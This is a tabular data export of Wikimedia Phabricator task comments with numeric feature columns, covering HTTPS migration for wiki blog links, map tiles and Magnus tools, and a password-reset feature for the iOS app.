599814,make blog links from wmfwiki front page use HTTPS links,"I did https://wikimediafoundation.org/w/index.php?title=Template:Blogbox&diff=prev&oldid=104829, so this should now work as soon as {T104726} is fixed. {T105905} is not really a blocker.",,,1454075988,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,30,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,8.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,15.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,0.8076923076923077,I did URL so this should now work as soon as {T104726} is fixed. {T105905} is not really a blocker.
525793,make blog links from wmfwiki front page use HTTPS links,It seems that first solving T105905 would be the ideal course of action here.,,,1442029510,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.266666666666667,1.0,It seems that first solving T105905 would be the ideal course of action here.
103801,*.tiles.wmflabs.org should be served over https,"The embedded map on nlwiki (e.g. https://nl.wikipedia.org/wiki/Amsterdam, click on 'kaart' next to the coordinates) uses

https://tools.wmflabs.org/wiwosm/osm-on-ol/kml-on-ol.php?lang=nl&uselang=nl&params=52_22_0_N_4_54_0_E_type:city(743027)_region:NL&pagename=Amsterdam

which loads tiles from

http://a.tiles.wmflabs.org/osm-no-labels/12/2105/1346.png

which causes a Mixed Content warning. For me, the map does load, but a [[ https://nl.wikipedia.org/w/index.php?title=Wikipedia:De_kroeg&diff=44393416&oldid=44392002 | report at the nlwiki village pump ]] suggests this is not true for everyone.

",Low,25.0,1435221437,1531141994.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-TASK-yilxmvulfm4klrrlsp5x,task_description,resolved,True,c3,2,True,False,False,-1,True,0.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,12.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,10.0,10.0,0.0,3.0,0.0,1.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,1.0,3.4328358208955225,0.7164179104477612,"The embedded map on nlwiki (e.g. URL click on 'kaart' next to the coordinates) uses

URL

which loads tiles from

URL

which causes a Mixed Content warning. For me, the map does load, but a [[ URL | report at the nlwiki village pump ]] suggests this is not true for everyone.

"
1100607,*.tiles.wmflabs.org should be served over https,@TheDJ https://a.tiles.wmflabs.org/osm-no-labels/12/2105/1346.png is a cert mismatch because the server attempts to serve the *.wmflabs.org cert which won't match,,,1531163239,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,3,True,,,157,True,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,15.0,5.0,10.0,5.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9,SCREEN_NAME URL is a cert mismatch because the server attempts to serve the *.wmflabs.org cert which won't match
1100325,*.tiles.wmflabs.org should be served over https,It seems that at some point this was resolved.,,,1531141994,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,3,True,,,157,True,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,It seems that at some point this was resolved.
481906,*.tiles.wmflabs.org should be served over https,"The user on nlwiki uses Firefox, but I could not reproduce it with FF this morning, which suggests the issue might rather lie with the server error noted above. (ctrl-R gives me the same error now)",,,1435259893,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,12.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,7.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.7674418604651163,0.8837209302325582,"The user on nlwiki uses Firefox, but I could not reproduce it with FF this morning, which suggests the issue might rather lie with the server error noted above. (ctrl-R gives me the same error now)"
481903,*.tiles.wmflabs.org should be served over https,"The user on nlwiki uses Firefox, but I could reproduce it with FF this morning. However, the issue might rather lie with the server error noted above.",,,1435259770,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,16.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8709677419354839,"The user on nlwiki uses Firefox, but I could reproduce it with FF this morning. However, the issue might rather lie with the server error noted above."
481601,*.tiles.wmflabs.org should be served over https,"For me, http://a.tiles.wmflabs.org/osm-no-labels/12/2105/1346.png gives:

> Internal Server Error
> The server encountered an internal error or misconfiguration and was unable to complete your request.
> Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.
> More information about this error may be available in the server error log.
> Apache/2.4.7 (Ubuntu) Server at a.tiles.wmflabs.org Port 80

Cf. also T103272.",,,1435242813,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.8636363636363638,0.5909090909090909,"For me, URL gives:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Cf. also T103272."
103373,"Add ""Forgot your password"" to login screen","| {F5352772 width=200} | {F5352763 width=200}
| Reset password | Set new password |
Would be helpful to enable users who forgot their passwords to be able to retrieve it for log in through the app.

----


==Related ticket==
https://phabricator.wikimedia.org/T150985

==Prototype==
https://wikimedia.invisionapp.com/share/7J9FKPNPW 

==Zeplin==
https://zpl.io/Z21KiN7
Tags: Reset password

==User stories==
//Users with accounts//
As a user with a Wikipedia account I would like to be able to log in to my account on the iOS app, even if I have 2FA enabled. When I forget my password, I would like to be able to reset my password through the app


==Design details==
//Reset password email confirmation (system message)//
| ** Action ** | **Message** | **Color**|
| User resets their password | Temporary password sent via email | Green",Low,25.0,1434989592,1487128080.0,PHID-USER-wplzfp6ulg4tuzwl3or6,True,PHID-USER-ohzzl3maortma7y4znpb,False,PHID-TASK-xvskb4hyoa6chydtwsns,task_description,duplicate,True,c3,2,False,False,False,-2,True,0.0,0.0,0.0,0.0,0.0,4.5,2.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,4.0,0.0,3.5,10.5,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,2.0,15.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,5.5,10.5,9.0,0.0,0.0,0.0,5.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5950948944132586,0.5894814220796578,"| {F5352772 width=200} | {F5352763 width=200}
| Reset password | Set new password |
Would be helpful to enable users who forgot their passwords to be able to retrieve it for log in through the app.

----


==Related ticket==
URL

==Prototype==
URL 

==Zeplin==
URL
Tags: Reset password

==User stories==
//Users with accounts//
As a user with a Wikipedia account I would like to be able to log in to my account on the iOS app, even if I have 2FA enabled. When I forget my password, I would like to be able to reset my password through the app


==Design details==
//Reset password email confirmation (system message)//
| ** Action ** | **Message** | **Color**|
| User resets their password | Temporary password sent via email | Green"
767783,"Add ""Forgot your password"" to login screen",Please see ticket related ticket: https://phabricator.wikimedia.org/T150985 ,,,1480356146,,PHID-USER-rblpzor23smiqjmaezyw,True,,,PHID-TASK-xvskb4hyoa6chydtwsns,task_subcomment,,True,c3,3,False,,,73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,0.8571428571428571,Please see ticket related ticket: URL 
700247,"Add ""Forgot your password"" to login screen","(Even if not possible, we should provide at least a link to Safari/mobile reading web's password reset.)",,,1469480544,,PHID-USER-4j7xntcqqwei7izzlfnd,True,,,PHID-TASK-xvskb4hyoa6chydtwsns,task_subcomment,,True,c3,3,True,,,55,True,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,3.6666666666666665,1.0,"(Even if not possible, we should provide at least a link to Safari/mobile reading web's password reset.)"
700243,"Add ""Forgot your password"" to login screen","This task should be possible now, given the recent API changes: https://en.wikipedia.org/w/api.php?action=help&modules=resetpassword",,,1469480056,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-xvskb4hyoa6chydtwsns,task_subcomment,,True,c3,3,True,,,55,True,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,29.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"This task should be possible now, given the recent API changes: URL"
482873,"Add ""Forgot your password"" to login screen","It is presently not possible to trigger a password reset email over the API, so this task is impossible to complete. Marking as stalled, accordingly.

The work to unblock this is tracked in T32788.",,,1435381386,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-xvskb4hyoa6chydtwsns,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,18.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,18.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.125,0.8,"It is presently not possible to trigger a password reset email over the API, so this task is impossible to complete. Marking as stalled, accordingly.

The work to unblock this is tracked in T32788."
102457,Make Magnus tools on tools.wmflabs.org work in HTTPS,"For example:
https://tools.wmflabs.org/magnustools/resources/js/common.js line 45

```
function httpsAlert ( id , b4 ) {
	if ( window.location.href.match ( /^https:/ ) ) {
		var url = window.location.href.replace ( /^https:/ , 'http:' ) ;
		var h = '<div id=""https_alert"" class=""alert""><strong>Caveat :</strong> Using https on this page does not work in all browsers, due to downstream http dependencies. ' ;
		h += '<a href=""' + url + '"">Use http instead</a>.<a class=""close"" data-dismiss=""alert"" href=""#"">&times;</a></div>' ;
		if ( b4 ) $('#'+id).before ( h ) ;
		else $('#'+id).after ( h ) ;
		$('#https_alert').alert() ;
	}
}
```
",Low,25.0,1434356889,1456779071.0,PHID-USER-3wfzrv2a2ggwauxc52is,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_description,resolved,True,c3,2,True,False,False,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.2857142857142856,0.7142857142857143,"For example:
URL line 45

``CODE``
"
624582,Make Magnus tools on tools.wmflabs.org work in HTTPS,"Just FYI, treeviews is now completely https (the last remaining http element was the tree image...)
https://tools.wmflabs.org/glamtools/treeviews/",,,1457368851,,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,False,,,35,True,0.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.9545454545454546,"Just FYI, treeviews is now completely https (the last remaining http element was the tree image...)
URL"
619997,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#2073493, @Dzahn wrote:
> Use as a tracking ticket. Make subtasks for individual tools who are still http-only.?

We need a list first, for a serious tracking bug. I filed T128409 for now.",,,1456779044,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,23.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.3181818181818183,0.8181818181818182,"QUOTE
QUOTE

We need a list first, for a serious tracking bug. I filed T128409 for now."
619990,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#2073490, @Nemo_bis wrote:
> This bug is fixed as regards Magnus tools, I think; and it's probably too generic for the whole of Tool Labs. Maybe just close?

Use as a tracking ticket. Make subtasks for individual tools who are still http-only.?",,,1456778557,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.739130434782609,0.9130434782608695,"QUOTE
QUOTE

Use as a tracking ticket. Make subtasks for individual tools who are still http-only.?"
619989,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#2072902, @Krinkle wrote:
> Or maybe Magnus' tool should use the new [Page View API](https://wikitech.wikimedia.org/wiki/Analytics/PageviewAPI) instead of http://stats.grok.se.

He already does and he *also* has a proxy, working with URLs such as https://tools.wmflabs.org/glamtools/proxy.php?url=http%3A%2F%2Fstats.grok.se%2Fjson%2Fit%2F201601%2FMathieu%2520La%2520Porte (test with https://tools.wmflabs.org/glamtools/treeviews/?q=%7B%22lang%22%3A%22it%22%2C%22pagepile%22%3A%22492%22%2C%22rows%22%3A%5B%5D%7D ).

This bug is fixed as regards Magnus tools, I think; and it's probably too generic for the whole of Tool Labs. Maybe just close?",,,1456778501,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,21.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,5.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.293103448275862,0.8448275862068966,"QUOTE
QUOTE

He already does and he *also* has a proxy, working with URLs such as URL (test with URL ).

This bug is fixed as regards Magnus tools, I think; and it's probably too generic for the whole of Tool Labs. Maybe just close?"
619988,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#2072902, @Krinkle wrote:
> Or maybe Magnus' tool should use the new [Page View API](https://wikitech.wikimedia.org/wiki/Analytics/PageviewAPI) instead of http://stats.grok.se.

He already does and he *also* has a proxy, working with URLs such as https://tools.wmflabs.org/glamtools/proxy.php?url=http%3A%2F%2Fstats.grok.se%2Fjson%2Fit%2F201601%2FMathieu%2520La%2520Porte (test withhttps://tools.wmflabs.org/glamtools/treeviews/?q=%7B%22lang%22%3A%22it%22%2C%22pagepile%22%3A%22492%22%2C%22rows%22%3A%5B%5D%7D ).

This bug is fixed as regards Magnus tools, I think; and it's probably too generic for the whole of Tool Labs. Maybe just close?",,,1456778486,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,19.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,5.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3508771929824563,0.8771929824561403,"QUOTE
QUOTE

He already does and he *also* has a proxy, working with URLs such as URL (test withURL ).

This bug is fixed as regards Magnus tools, I think; and it's probably too generic for the whole of Tool Labs. Maybe just close?"
619848,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#1391885, @yuvipanda wrote:
> I can also help the maintainer of stats.grok.de setup SSL, if so desired.

Or maybe Magnus' tool should use the new [Page View API](https://wikitech.wikimedia.org/wiki/Analytics/PageviewAPI) instead of http://stats.grok.se.",,,1456769451,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,40.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.75,0.95,"QUOTE
QUOTE

Or maybe Magnus' tool should use the new [Page View API](URL instead of URL"
479835,Make Magnus tools on tools.wmflabs.org work in HTTPS,"I can also help the maintainer of stats.grok.de setup SSL, if so desired.",,,1435058768,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,1.0,"I can also help the maintainer of stats.grok.de setup SSL, if so desired."
